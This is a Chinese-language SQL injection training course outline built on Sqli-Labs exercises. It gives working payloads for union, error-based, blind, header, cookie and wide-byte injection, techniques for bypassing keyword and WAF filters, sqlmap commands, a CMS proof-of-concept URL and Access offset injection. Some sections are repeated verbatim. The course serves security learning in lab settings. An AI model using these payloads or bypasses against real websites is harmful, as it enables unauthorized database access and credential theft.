2-1.SQL注入原理
1. SQL注入的原因
语言分类:解释型语言和编译型语言。解释型语言是一种在运行时由一个运行时组件解释语言代码并执行其中包含的指令的语言。而编译型语言是代码在生成时转换为机器指令,然后在运行时直接由使用该语言的计算机执行这些指令。
在解释型语言中,如果程序与用户进行交互。用户就可以构造特殊的输入来拼接到程序中执行,从而使得程序依据用户输入执行有可能存在恶意行为的代码。
例如:在与用户交互的程序中,用户的输入拼接到SQL语句中,执行了与原定计划不同的行为,从而产生了SQL注入漏洞。
2. 登录案例讲解
登录SQL语句:select * from admin where username = '用户输入的用户名' and password = '用户输入的密码'
用户输入的内容可由用户自行控制,例如可以输入 ' or 1=1 --空格
SQL语句:select * from admin where username = ' ' or 1=1 -- ' and password = '用户输入的密码'
其中or 1=1 永远为真, --注释后边内容不再执行,因此SQL语句执行会返回admin表中的所有内容。
Burpsuite万能密码测试案例演示
3. CMS SQL注入讲解
CMS逻辑:index.php首页展示内容,具有文章列表(链接具有文章id)、articles.php文章详细页,URL中article.php?id=文章id读取id文章。
SQL注入验证:
1、单引号 '
2、 and 1=1
3、 and 1=2
如果页面中Mysql报错,证明该页面存在SQL注入漏洞。
4. Sqlmap基本使用
Sqlmap是检测和利用SQL注入漏洞的一款强大工具。
2-2.Mysql注入有关知识点
1. Mysql 5.x数据结构
在Mysql 5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息。其中具有表schemata(数据库名)、tables(表名)、columns(列名或字段名)。
在schemata表中,schema_name字段用来存储数据库名。
在tables表中,table_schema和table_name分别用来存储数据库名和表名。
在columns表中,table_schema(数据库名)、table_name(表名)、column_name(字段名)
利用Navicat for MySQL查看结构
2. SQL增删改查
SELECT 列名称 FROM 表名称 WHERE 字段1 = '条件1' AND 字段2 = '条件2'
INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)
UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
DELETE FROM 表名称 WHERE 列名称 = 值
3. Mysql常用函数
Mysql中常用的聚合函数有以下:'
user():查看当前Mysql登录用户名
database():查看当前使用Mysql数据库名
version():查看当前Mysql版本
拓展limit关键字 limit m,n 从m行开始,到m+n行。
4. 注释
注释符:在Mysql 中常见的注释符表达式:#或--空格或/**/
内联注释:/*!SQL语句 */ 只有Mysql可以识别,常用来绕过WAF
例如:select * from articles where id = id
使用内联注释注入:select * from articles where id = -1 /*!union*/ /*!select*/ 1,2,3,4
2-3.SQLLab靶场搭建
1. PhpStudy环境安装
phpStudy是一个PHP调试环境的程序集成包。
该程序包集成最新的Apache+PHP+MySQL+phpMyAdmin+ZendOptimizer,一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境·该程序不仅包括PHP调试环境,还包括了开发工具、开发手册等·总之学习PHP只需一个包。
下载地址:http://phpstudy.php.cn/phpstudy/PhpStudy20180211.zip?v7
2. 火狐浏览器插件安装
Mozilla Firefox,中文俗称“火狐”(正式缩写为Fx或fx,非正式缩写为MF),是一个自由及开放源代码的网页浏览器,使用Gecko排版引擎,支持多种操作系统,如Windows、Mac OS X及GNU/Linux等。
安全方面的插件:hackbar、Firebug、Live http headers、Tamper Data
3. Sqlmap安装
sqlmap是一款强大的SQL注入漏洞检测和利用工具。官方网站:http://www.sqlmap.org/
4. Sqli-Lab安装
Sqli-labs是一个印度程序员写的,用来学习sql注入的一个游戏教程。
打开sql-connections/db-creds.inc,修改默认数据库连接密码。
2-4.GET基于报错的SQL注入
1. 报错注入介绍
报错注入形式上是两个嵌套的查询,即select …(select …),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:
rand()随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by clause分组语句,按照查询结果分组
通过报错来显示出具体的信息。
查询的时候如果使用rand()的话,该值会被计算多次。在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。在一次多记录的查询过程中floor(rand(0)*2)的值是定性的,为011011
select count(*) from table group by floor(rand(0)*2);
2. GET单引号报错注入
以Sqli-Lab Less 5为例
获取数据库
http://localhost/sqli-lab/Less-5/index.php?id= 0' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
获取表名
http://localhost/sqli-lab/Less-5/index.php?id= 0' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
获取用户信息
http://localhost/sqli-lab/Less-5/index.php?id= 0' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
3. GET双引号报错注入
获取数据库
http://localhost/sqli-lab/Less-6/index.php?id= 0" union select count(*),0,concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a limit 0,10 --+
4. Sqlmap安全测试
2-5.不再显示结果的盲注
1. 盲注介绍
Blind SQL (盲注) 是注入攻击的其中一种, 向数据库发送 true 或 false 这样的问题, 并根据应用程序返回的信息判断结果. 这种攻击的出现是因为应用程序配置为只显示常规错误, 但并没有解决SQL 注入存在的代码问题.
演示盲注问题。当攻击者利用SQL注入漏洞进行攻击时, 有时候web应用程序会显示, 后端数据库执行SQL查询返回的错误信息. Blind SQL (盲注)与常规注入很接近, 不同的是数据库返回数据的检索方式. 若数据库没有输出数据到web页面, 攻击者会询问一些列的 true 或 false 问题, 强制从数据库获取数据
盲注常分为: 基于布尔型的盲注 和 基于时间的盲注.
2. GET基于时间的盲注
if(ascii(substr(database(),1,1)=115,1,sleep(3))) : 当数据库名第一个字母的ascii码等于115时,执行一次sleep(3)函数等待3秒。
实验:Sqli-Lab Less9~10,GET基于时间的盲注。
3. GET基于Boolean的盲注
基于布尔型的盲注,我们通常采用下面的办法猜解字符串.
select length(databse());
select substr(databse(),1,1);
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1)) > N;
select ascii(substr(database(),1,1)) = N;
select ascii(substr(database(),1,1)) < N;
Sqli-Lab 8实验演示
4. Sqlmap安全测试
2-6.Mysql注入读写文件
2-7.POST基于错误的注入
1. Burpsuite抓取HTTP请求
Burpsuite是一款Web安全测试的利器,集成了几乎Web安全测试中所有需要用到的功能。
运行前提:1、需要安装Java https://www.java.com/zh_CN/
截断代理设置:在浏览器中设置局域网代理。
启动Burpsuite进行截断抓取HTTP消息。
2. POST 基于错误单引号注入
注入点位置发生了变化,在浏览器中已经无法直接进行查看与修改。当然可以借助对应的插件可以完成修改任务。以Sqli-Lab Less11 为例。
3. POST 基于错误双引号注入
查看Sqli-Lab Less 12源代码
4. Sqlmap安全测试
复制Burpsuite截断的HTTP请求数据包到文本文件中,使用Sqlmap -r 文件路径 -p 指定探测参数。
2-8.GET报错注入
1. 报错注入介绍
报错注入形式上是两个嵌套的查询,即select …(select …),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:
rand()随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by clause分组语句,按照查询结果分组
通过报错来显示出具体的信息。
查询的时候如果使用rand()的话,该值会被计算多次。在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。在一次多记录的查询过程中floor(rand(0)*2)的值是定性的,为011011
select count(*) from table group by floor(rand(0)*2);
2. GET单引号报错注入
以Sqli-Lab Less 5为例
获取数据库
http://localhost/sqli-lab/Less-5/index.php?id= 0' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
获取表名
http://localhost/sqli-lab/Less-5/index.php?id= 0' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
获取用户信息
http://localhost/sqli-lab/Less-5/index.php?id= 0' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
3. GET双引号报错注入
获取数据库
http://localhost/sqli-lab/Less-6/index.php?id= 0" union select count(*),0,concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a limit 0,10 --+
4. Sqlmap安全测试
2-9.SQL注入绕过手段
1. 大小写绕过
如果程序中设置了过滤关键字,但是过滤过程中并没有对关键字组成进行深入分析过滤,导致只是对整体进行过滤。例如:and 过滤。当然这种过滤只是发现关键字出现,并不会对关键字处理。
通过修改关键字内字母大小写来绕过过滤措施。例如:AnD 1=1
例如:在进行探测当前表的字段数时,使用order by 数字进行探测。如果过滤了order ,可以使用OrdER来进行绕过。
2. 双写绕过
如果在程序中设置出现关键字之后替换为空,那么SQL注入攻击也不会发生。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了以此替换。就是将关键字替换为对应的空。
例如:过滤了union 只要发现union无论时大小写都会被替换为空。
UnunionIon 结合之前大小写绕过。
3. 编码绕过
可以利用网络中的URL在线编码,绕过SQL注入的过滤机制。
http://tool.chinaz.com/Tools/urlencode.aspx
4. 内联注释绕过
在Mysql中内容注释中的内容可以被当作SQL语句执行。
2-10.POST基于时间与布尔盲注
1. HTTP POST介绍
POST 发送数据给服务器处理,数据包含在HTTP信息正文中
POST请求会向指定资源提交数据,请求服务器进行处理,如:表单数据提交、文件上传等,请求数据会被包含在请求体中。
POST方法可能会创建新的资源或/和修改现有资源。
使用POST方法时,查询字符串在POST信息中单独存在,和HTTP请求一起发送到服务器:
POST /test/demoform.html HTTP/1.1
Host: w3schools.com
name1=value1&name2=value2
2. POST基于时间的盲注
在存在注入点POST提交的参数后加 and if (length(database())>5,sleep(5),null)。
3. POST基于布尔的盲注
在存在注入点POST提交的参数后加入if判断正确或错误的语句。
select length(databse());
select substr(databse(),1,1);
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1)) > N;
select ascii(substr(database(),1,1)) = N;
select ascii(substr(database(),1,1)) < N;
4. Sqlmap安全测试
在Sqlmap中指点探测技术使用--technique T(time) B(boolean)。
2-11.HTTP头中的SQL注入
1. HTTP头中的注入介绍
在安全意识越来越重视的情况下,很多网站都在防止漏洞的发生。例如SQL注入中,用户提交的参数都会被代码中的某些措施进行过滤。
过滤掉用户直接提交的参数,但是对于HTTP头中
提交的内容很有可能就没有进行过滤。
例如HTTP头中 User-Agent、Referer、Cookies等。dui
2. HTTP User-Agent注入
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
Payload内容:
updatexml(xml_document,xpath_string,new_value):
第一个参数:XML文档对象名称。
第二个参数:XPath字符串。
第三个参数:替换查找到的符合条件的数据。
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
3. HTTP Referer注入
' or '1'='1
' or (length(database())) >8 or if(1=1, sleep(5), null) or '1' = '1
4. Sqlmap安全测试
Sqlmap自动搜索POST表单注入:sqlmap.py -u "http://ip/sqltest/post.php" --forms
2-12.POST_Upadte语句注入
1. Mysql update介绍
update 语句可用来修改表中的数据, 简单来说基本的使用形式为:
update 表名称 set 列名称=新值 where 更新条件;
UPDATE table_name SET field1=new-value1, field2=new-value2 [WHERE Clause]
2. 过滤内容介绍
3. Mysql update注入
uname=admin&passwd=admin' or updatexml(1,concat(0x7e,version(),0x7e),1) #&submit=Submit
4. Sqlmap安全测试
利用sqlmap读取target.txt中的内容并指定passwd参数进行SQL注入漏洞的利用。
sqlmap -r target.txt -p passwd
2-13.Cookie注入
1. Cookie介绍
服务器可以利用Cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。Cookies最典型的应用是判定注册用户是否已经登录网站,用户可能会得到提示,是否在下一次进入此网站时保留用户信息以便简化登录手续,这些都是Cookies的功能。另一个重要应用场合是“购物车”之类处理。用户可能会在一段时间内在同一家网站的不同页面中选择不同的商品,这些信息都会写Cookies,以便在最后付款时提取信息
2. Cookie注入代码分析
代码中使用Cookie传递参数,但是没有对Cookie中传递的参数进行过滤操作。导致SQL注入漏洞的产生。
3. Cookie注入利用
利用 ' or 1=1 --+ 输出第一个用户名和密码。
4. Sqlmap安全检测
Sqlmap Cookie注入
sqlmap -r target.txt --level 3
2-14.CookieBase64注入
1. Base64介绍
Base64编码是从二进制到字符的过程,可用于在HTTP环境下传递较长的标识信息。Base64是网络上最常见的用于传输8Bit字节码的编码方式之一,Base64就是一种基于64个可打印字符来表示二进制数据的方法。
将原始内容转换为二进制,从左到右依次取6位,然后在最高位补两位0,形成新的内容。
编码规则:
①.把3个字符变成4个字符。
②.每76个字符加一个换行符。
③.最后的结束符也要处理。
2. Cookie Base64注入代码分析
base64_decode(str) : PHP语言中用于解密Base64加密字符串的函数。
3. Cookie Base64注入
使用Base64加密的注入语句,插入到Cookie对应的位置完成SQL注入漏洞的探测。
IiBvciAxPTEgIw==
明文 " or 1=1 #
4. Sqlmap安全检测
sqlmap -r target.txt --level 3
2-15.绕过去除注释符的SQL注入
1. Mysql中的注释符
注释符的作用:用于标记某段代码的作用,起到对代码功能的说明作用。但是注释掉的内容不会被执行。
Mysql中的注释符:
1、单行注释: --+ 或 --空格 或 #
2、多行注释: /* 多行注释内容 */
对于正常的SQL语句中,注释符起到说明作用的功能。但是对于在利用SQL注入漏洞过程中,注释符起到闭合 单引号、多单引号、双引号、单括号、多括号的功能。
2. 去除注释符的代码分析
preg_replace(mixed $pattern , mixed $replacement , mixed $subject):执行一个正则表达式的搜索和替换。
$pattern: 要搜索的模式,可以是字符串或一个字符串数组
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
3. 绕过去除注释符的SQL注入
利用注释符别过滤不能成功闭合单引号等,换一种思路 利用 or '1'='1闭合单引号等。
http://127.0.0.1/sqli/Less-23/?id=-1%27%20union%20select%201,database(),%273
4. Sqlmap安全检测
sqlmap -u “URL” --batch
2-16.绕过过滤and和or的SQL注入
1. 基础知识介绍
1、Mysql中的大小写不敏感,大写与小写一样。
2、Mysql 中的十六进制与URL编码。
3、符号和关键字替换 and -- &&、or -- ||。
4、内联注释与多行注释 /*! 内联注释*/ /*多行注释*/。
2. 去除and和or的代码分析
preg_replace(mixed $pattern , mixed $replacement , mixed $subject):执行一个正则表达式的搜索和替换。
$pattern: 要搜索的模式,可以是字符串或一个字符串数组
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
3. 绕过去除and和or的SQL注入
Sqli-Lab 25 绕过策略
1、大小写变形,Or,OR,oR,OR,And,ANd,aND等 --代码中大小写不敏感 都被剔除
2、在这两个敏感词汇中添加注释,例如:a/**/nd 双写绕过 oorr
3、利用符号替代————and --&& or--||
4. Sqlmap安全检测
sqlmap -u “URL” --dbs --batch
2-17.绕过和去除空格的SQL注入
1. 基础知识介绍
1、Mysql中的大小写不敏感,大写与小写一样。
2、Mysql 中的十六进制与URL编码。
3、符号和关键字替换 and -- &&、or -- ||。
4、内联注释与多行注释 /*! 内联注释*/ /*多行注释*/。
5、Mysql中会自动识别URL与Hex编码好的内容。
2. 去除空格的代码分析
preg_replace(mixed $pattern , mixed $replacement , mixed $subject):执行一个正则表达式的搜索和替换。
$pattern: 要搜索的模式,可以是字符串或一个字符串数组
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
3. 绕过去除空格的SQL注入
Sqli-Lab 26 绕过策略
编码:hex,urlencode 换行URL编码 %0a %09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
4. Sqlmap安全检测
sqlmap -u “URL” --hex --dbs --batch
2-18.绕过和去除union和select的SQL注入
1. 基础知识介绍
1、Mysql中的大小写不敏感,大写与小写一样。用于绕过过滤黑名单。
2、Mysql 中的十六进制与URL编码。
3、符号和关键字替换 and -- &&、or -- ||。
4、空格使用 %20表示、%0a换行 %09 tab
2. 去除(union)的代码分析
preg_replace(mixed $pattern , mixed $replacement , mixed $subject):执行一个正则表达式的搜索和替 换。 $pattern: 要搜索的模式,可以是字符串或一个字符串数组 $replacement: 用于替换的字符串或字符串数组。 $subject: 要搜索替换的目标字符串或字符串数组。
3. 绕过去除(union)的SQL注入
Sqli-Lab 27 绕过策略 %09表示空格、 ||表示 or 、union/select 大小写、双写绕过。 http://127.0.0.1/sqli/Less-27/?id=10000000%27%09%09uniOn%09SelEcT%091,2,3%09||%09%27
4. Sqlmap安全检测
sqlmap -u “URL” --dbs --batch
2-19.宽字节注入
1. 宽字节注入基础
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。
%DF’ :会被PHP当中的addslashes函数转义为“%DF\'” ,“\”既URL里的“%5C”,那么也就是说,“%DF'”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字符。也就是“縗’”
2. 宽字节注入代码分析
Sqli-Less33 代码分析
3. 宽字节SQL注入演示
Sqli-Lab 33 绕过策略
id=%df' --+
4. Sqlmap安全检测
sqlmap -u “URL?id=1%df%27” --search --level 3 --risk 1 --thread 10
2-20.宽字节注入二
1. 宽字节注入基础
最常使用的宽字节注入是利用%df,其实我们只要第一个ascii码大于128就可以了,比如ascii码为129的就可以,但是我们怎么将他转换为URL编码呢,其实很简单,我们先将129(十进制)转换为十六进制,为0x81,如图1所示,然后在十六进制前面加%即可,即为%81
GBK首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F)
2. 宽字节注入代码分析
mysql_real_escape_string() 和 addslashes()功能类似
3. 宽字节SQL注入演示
Sqli-Lab 33 绕过策略
id=%bf' --+
4. Sqlmap安全检测
sqlmap.py -u"http://url/?id=1" --tamper=unmagicquotes.py
2-21.二次注入分析
1. 二次注入介绍
2. 二次注入代码分析
3. 二次注入利用
注册用户 admin -- - ,修改密码查看数据库内容。
4. 二次注入危害
1、注入Payload触发二次SQL注入
2、注入Payload触发XSS攻击。
2-22.SQL注入漏洞简单挖掘
1. CMS环境搭建(espcms)
2. 自动化审计工具
3. 直接挖掘select 注入
4. 漏洞验证POC
针对 url 测试:http://127.0.0.1/espcms/upload/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1%20union%20select%201,2,user(),4,5
2-23.updatexml和extractvalue函数讲解
1. Sqlmap 更新参数介绍
--purge 以安全模式删除所有sqlmap数据目录。
2. 演示数据表介绍
3. updatexml函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
4. extractvalue函数
参考链接:https://dev.mysql.com/doc/refman/5.7/en/xml-functions.html
2-24.IIS6.0搭建ASP网站
1. 环境准备
1、一台Windows server2003服务器,开启IIS6.0。
2、asp源码文件。
2. 配置IIS,加载站点源码
1、新建网站,设定站点根目录在源码位置。
3. 常见问题处理
1、端口冲突 -- 修改该网站的默认端口
2、40X 错误 -- 修改对应文件夹权限 对IUSER_计算机名的用户给与权限。
3、无法启动 ‘..’ 表示上层目录,在网站配置的主目录选项中设置允许父目录。
4. 源码测试
使用浏览器访问网站,测试访问是否正常。
2-25.针对ASP+ACCESS网站进行注入
1. asp+access网站技术介绍
ASP即Active Server Pages,是MicroSoft公司开发的服务器端脚本环境,可用来创建动态交互式网页并建立强大的web应用程序。当服务器收到对ASP文件的请求时,它会处理包含在用于构建发送给浏览器的HTML(Hyper Text Markup Language,超文本置标语言)网页文件中的服务器端脚本代码。除服务器端脚本代码外,ASP文件也可以包含文本、HTML(包括相关的客户端脚本)和com组件调用。
Microsoft Office Access是由微软发布的关系数据库管理系统。只有表的概念。
2. Web漏洞扫描
针对Web应用程序的扫描工具有很多:AWVS、APPSCAN、OWASP ZAP等。以下利用OWASP-ZAP探测。
3. 漏洞分析
针对扫描结果中标记红色的内容进行分析。XSS SQL注入
4. SQL注入点利用
利用Sqlmap进行测试。注意:Access 只有表的概念。
2-26.Access偏移注入利用
1. Access偏移注入原理
借用数据库的自连接查询让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示!
运气很重要,不能保证100%成功。
2. Access偏移注入利用场景
解决知道Access数据库中知道表名,但是得不到字段的sql注入困境。
字段名取名复杂,字典暴力破解字段名不成功。
3. Access偏移注入流程
1、判断字段数 order by
2、 判断表名 使用 union select * from 表名来获取
3、 开始偏移注入 利用注入公式来注入
4. Access偏移注入公式实践
偏移注入的基本公式为:
order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案
也就是18-11=7
18-7*2=4
得到答案等于:4
例如:http://xxx.com/test.asp?id=688 union select 1,2,3,4,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id = b.id)
#这里union select 1,2,3,4:顾名思义就是刚才得出来的长度。
#后面的是sql,可作公式。
http://192.168.1.110/Production/PRODUCT_DETAIL.asp?id=1513+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+admin
http://192.168.1.110/Production/PRODUCT_DETAIL.asp?id=1513+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,*+from+admin
22-16 = 6 22-6*2 = 10
http://192.168.1.110/Production/PRODUCT_DETAIL.asp?id=1513+union+select+1,2,3,4,5,6,7,8,9,10,a.id,b.id,*+from+(admin+as+a+inner+join+admin+as+b+on+a.id=b.id)